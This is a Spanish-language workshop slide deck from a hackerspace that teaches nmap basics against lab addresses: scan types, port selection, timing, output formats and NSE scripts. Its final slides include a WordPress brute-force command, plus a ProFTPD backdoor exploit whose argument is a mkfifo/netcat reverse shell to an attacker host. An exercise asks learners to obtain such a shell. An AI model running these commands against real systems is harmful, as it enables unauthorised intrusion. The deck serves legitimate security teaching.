

Nmap 101

Cordoba HackerSpace

5 de Julio del 2020

Aviso

Este documento tiene únicamente propósito educativo. Antes de analizar una red, se debe tener el permiso correspondiente.

Agenda

Introducción y Uso Básico

Introducción

Uso Básico

Opciones

Modificando el escaneo

Obteniendo más información

Más Opciones

Ajustando la velocidad

Guardando los resultados

Scripts

Extras

Introducción

Nmap (“Network Mapper”) es una herramienta:

- gratuita,
- código abierto,
- permite encontrar dispositivos en redes,
- permite hacer auditorías de seguridad.

Introducción

Nmap (“Network Mapper”) es una herramienta:

- gratuita,
- código abierto,
- permite encontrar dispositivos en redes,
- permite hacer auditorías de seguridad.

Nmap puede encontrar:

- los dispositivos en una red,
- los servicios,
- el sistema operativo,
- los firewalls y filtros usados.

Introducción

Nmap es un escáner de red.

Introducción

Nmap es un escáner de red.

Nmap nos permite saber qué hay en una red en vez de qué debería haber.

Uso Básico

Metodología

Desde una visión global de la red, y llenando hacia una visión particular.

Uso Básico

Metodología

Desde una visión global de la red, y llendo hacia una visión particular.

	Fases de nmap	Modelo TCP/IP
↑	Escaneo con Script	Aplicación
	Escaneo de Puertos	Transporte
	Búsqueda de sistemas (Descubrimiento)	Internet Enlace

Uso Básico

Sintaxis de comando

```
user@kali $ sudo nmap [Scan Type] [Options] {targets}
```

Targets:

- URLs,
- lista de direcciones IP,
- direcciones de red en CIDR,
- mezcla de los anteriores,
- desde un archivo.

Uso Básico

Ejemplos

```
user@kali $ sudo nmap 192.168.56.16
```

Descubrir, escanear los 1000 puertos TCP más comunes.

Uso Básico

Ejemplos

```
user@kali $ sudo nmap 192.168.56.16
```

Descubrir, escanear los 1000 puertos TCP más comunes.

```
user@kali $ sudo nmap 192.168.56.0/24
```

Descubrir, escanear los 1000 puertos TCP más comunes, todos los dispositivos en la red.

Uso Básico

Ejemplos

```
user@kali $ sudo nmap 192.168.56.16
```

Descubrir, escanear los 1000 puertos TCP más comunes.

```
user@kali $ sudo nmap 192.168.56.0/24
```

Descubrir, escanear los 1000 puertos TCP más comunes, todos los dispositivos en la red.

```
user@kali $ sudo nmap 192.168.56.16-19
```

Igual al anterior, pero con una lista de direcciones IP.

Uso Básico

Ejemplos

```
user@kali $ sudo nmap 192.168.56.16
```

Descubrir, escanear los 1000 puertos TCP más comunes.

```
user@kali $ sudo nmap 192.168.56.0/24
```

Descubrir, escanear los 1000 puertos TCP más comunes, todos los dispositivos en la red.

```
user@kali $ sudo nmap 192.168.56.16-19
```

Igual al anterior, pero con una lista de direcciones IP.

```
user@kali $ sudo nmap -iL targets.txt
```

Descubrir, escanear, pero con archivo con direcciones o redes IP.

Modificando el escaneo

Múltiple opciones, las relacionadas a los puertos permiten:

- cambiar el número de puertos a analizar,
- especificar los puertos a analizar,
- mostrar solo los puertos abiertos,
- escanear puertos UDP.

Modificando el escaneo

Ejemplos (1)

```
user@kali $ sudo nmap --top-ports 10 192.168.56.16
```

Escanear solo los 10 puertos más comunes.

Modificando el escaneo

Ejemplos (1)

```
user@kali $ sudo nmap --top-ports 10 192.168.56.16
```

Escanear solo los 10 puertos más comunes.

```
user@kali $ sudo nmap -F 192.168.56.16
```

Escanear solo los 100 puertos más comunes. “F” significa “Fast”.

Modificando el escaneo

Ejemplos (1)

```
user@kali $ sudo nmap --top-ports 10 192.168.56.16
```

Escanear solo los 10 puertos más comunes.

```
user@kali $ sudo nmap -F 192.168.56.16
```

Escanear solo los 100 puertos más comunes. “F” significa “Fast”.

```
user@kali $ sudo nmap -p- 192.168.56.16
```

Escanear todos los puertos.

Modificando el escaneo

Ejemplos (2)

```
user@kali $ sudo nmap -p22,80,443 192.168.56.17
```

Escanear solo los puertos especificados.

Modificando el escaneo

Ejemplos (2)

```
user@kali $ sudo nmap -p22,80,443 192.168.56.17
```

Escanear solo los puertos especificados.

```
user@kali $ sudo nmap --open -p22,80,443 192.168.56.17
```

Igual al anterior pero solo muestra los puertos abiertos.

Modificando el escaneo

Ejemplos (2)

```
user@kali $ sudo nmap -p22,80,443 192.168.56.17
```

Escanear solo los puertos especificados.

```
user@kali $ sudo nmap --open -p22,80,443 192.168.56.17
```

Igual al anterior pero solo muestra los puertos abiertos.

```
user@kali $ sudo nmap -sU --top-ports 10 192.168.56.16
```

Este comando va a escanear solo los 10 puertos UDP más comunes.

Obteniendo más información

Además podemos obtener:

- reconocimiento del sistema operativo (OS fingerprinting),
- nombre y versión de servicios,
- información provista por scripts básicos.

Obteniendo más información

Ejemplos

```
user@kali $ sudo nmap -O 192.168.56.16
```

Reconocimiento del sistema operativo.

Obteniendo más información

Ejemplos

```
user@kali $ sudo nmap -O 192.168.56.16
```

Reconocimiento del sistema operativo.

```
user@kali $ sudo nmap -sV 192.168.56.16
```

Nombre y versión de servicios.

Obteniendo más información

Ejemplos

```
user@kali $ sudo nmap -O 192.168.56.16
```

Reconocimiento del sistema operativo.

```
user@kali $ sudo nmap -sV 192.168.56.16
```

Nombre y versión de servicios.

```
user@kali $ sudo nmap -sC 192.168.56.16
```

Información adicional usando scripts básicos.

Obteniendo más información

Ejemplos

```
user@kali $ sudo nmap -O 192.168.56.16
```

Reconocimiento del sistema operativo.

```
user@kali $ sudo nmap -sV 192.168.56.16
```

Nombre y versión de servicios.

```
user@kali $ sudo nmap -sC 192.168.56.16
```

Información adicional usando scripts básicos.

```
user@kali $ sudo nmap -A 192.168.56.16
```

Todos los anteriores y traceroute.

Ajustando la velocidad

La velocidad de escaneo es controlada de forma automática.

Ajustando la velocidad

La velocidad de escaneo es controlada de forma automática.

Opciones de velocidad:

- -T0 (paranoid),
- -T1 (sneaky),
- -T2 (polite),
- -T3 (normal),
- -T4 (aggressive),
- -T5 (insane)

Ajustando la velocidad

La velocidad de escaneo es controlada de forma automática.

Opciones de velocidad:

- -T0 (paranoid),
- -T1 (sneaky),
- -T2 (polite),
- -T3 (normal),
- -T4 (aggressive),
- -T5 (insane)

```
user@kali $ sudo nmap -T5 192.168.56.16
```

Ajustando la velocidad

La velocidad de escaneo es controlada de forma automática.

Opciones de velocidad:

- -T0 (paranoid),
- -T1 (sneaky),
- -T2 (polite),
- -T3 (normal),
- -T4 (aggressive),
- -T5 (insane)

```
user@kali $ sudo nmap -T5 192.168.56.16
```

```
user@kali $ sudo nmap -T0 192.168.56.16
```

Guardando los resultados

Opciones de formato:

```
user@kali $ sudo nmap [frmt {<file_name>}] {targets}
```

Guardando los resultados

Opciones de formato:

```
user@kali $ sudo nmap [frmt {<file_name>}] {targets}
```

Donde frmt:

- -oN es para archivos regulares,
- -oX es para archivos XML,
- -oG es para archivos para ser usados con expresiones regulares.

Guardando los resultados

Opciones de formato:

```
user@kali $ sudo nmap [frmt {<file_name>}] {targets}
```

Donde frmt:

- -oN es para archivos regulares,
- -oX es para archivos XML,
- -oG es para archivos para ser usados con expresiones regulares.

```
user@kali $ sudo nmap -oG results.txt 192.168.56.16
```

Scripts

Los scripts:

- aumentan el comportamiento de nmap,
- permiten:
 - obtener información adicional,
 - encontrar vulnerabilidades por categoria de vulnerabilidades,
 - encontrar vulnerabilidades específicas.

Scripts

Los scripts:

- aumentan el comportamiento de nmap,
- permiten:
 - obtener información adicional,
 - encontrar vulnerabilidades por categoria de vulnerabilidades,
 - encontrar vulnerabilidades específicas.

Algunos scripts son considerados intrusivos.

Scripts

Sintaxis

```
user@kali $ sudo nmap [--script=<script> [--script-args  
=<script_arguments>]] {targets}
```

Scripts

Ejemplos (1)

```
user@kali $ sudo nmap --script=vuln 192.168.56.16
```

Ejecutar todos los scripts dentro de la categoria “vulnerability”.

Scripts

Ejemplos (1)

```
user@kali $ sudo nmap --script=vuln 192.168.56.16
```

Ejecutar todos los scripts dentro de la categoría “vulnerability”.

```
user@kali $ sudo nmap --script="http-robots*"
192.168.56.16
```

Mostrar el contenido del archivo robots.txt.

Scripts

Ejemplos (1)

```
user@kali $ sudo nmap --script=vuln 192.168.56.16
```

Ejecutar todos los scripts dentro de la categoría “vulnerability”.

```
user@kali $ sudo nmap --script="http-robots*"
192.168.56.16
```

Mostrar el contenido del archivo robots.txt.

```
user@kali $ sudo nmap -sV --script="http-wordpress-brute
*" --script-args="passdb=./dict.txt" 192.168.56.16
```

Ataque de fuerza bruta en un servicio de Wordpress.

Scripts

Ejemplos (2)

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-backd*" 192.168.56.19
```

Verificar si el target es vulnerable a una vulnerabilidad específica.

Scripts

Ejemplos (2)

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-backd*" 192.168.56.19
```

Verificar si el target es vulnerable a una vulnerabilidad específica.

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-backd*" --script-args="cmd=ls" 192.168.56.19
```

Listar el contenido de un directorio.

Scripts

Ejemplos (3)

```
user@kali $ sudo nmap -sV --script="ftp-proftpd-back*"
--script-args="cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f
|/bin/sh -i 2>\&1|nc 192.168.56.1 4444 >/tmp/f"
192.168.56.19
```

Genera una conexión remota hacia el sistema del atacante.

Preguntas y ¿Respuestas?

Referencias

- Sitio: <https://nmap.org>
- Manual: `man nmap`
- Scripts: <https://nmap.org/nsedoc/index.html>
- Libro 1: <https://nmap.org/book>
- Libro 2: Marsh, Nicholas. *Nmap 6 Cookbook: The Fat-Free Guide to Network Scanning*. 2015

Ejercicio

1. Identificar el puerto escondido en 192.168.56.19.
2. Identificar el nombre y versión del servicio en el puerto escondido.
3. Identificar si el servicio es vulnerable a un exploit conocido.
4. Obtener una conexión remota cambiando los argumentos del script.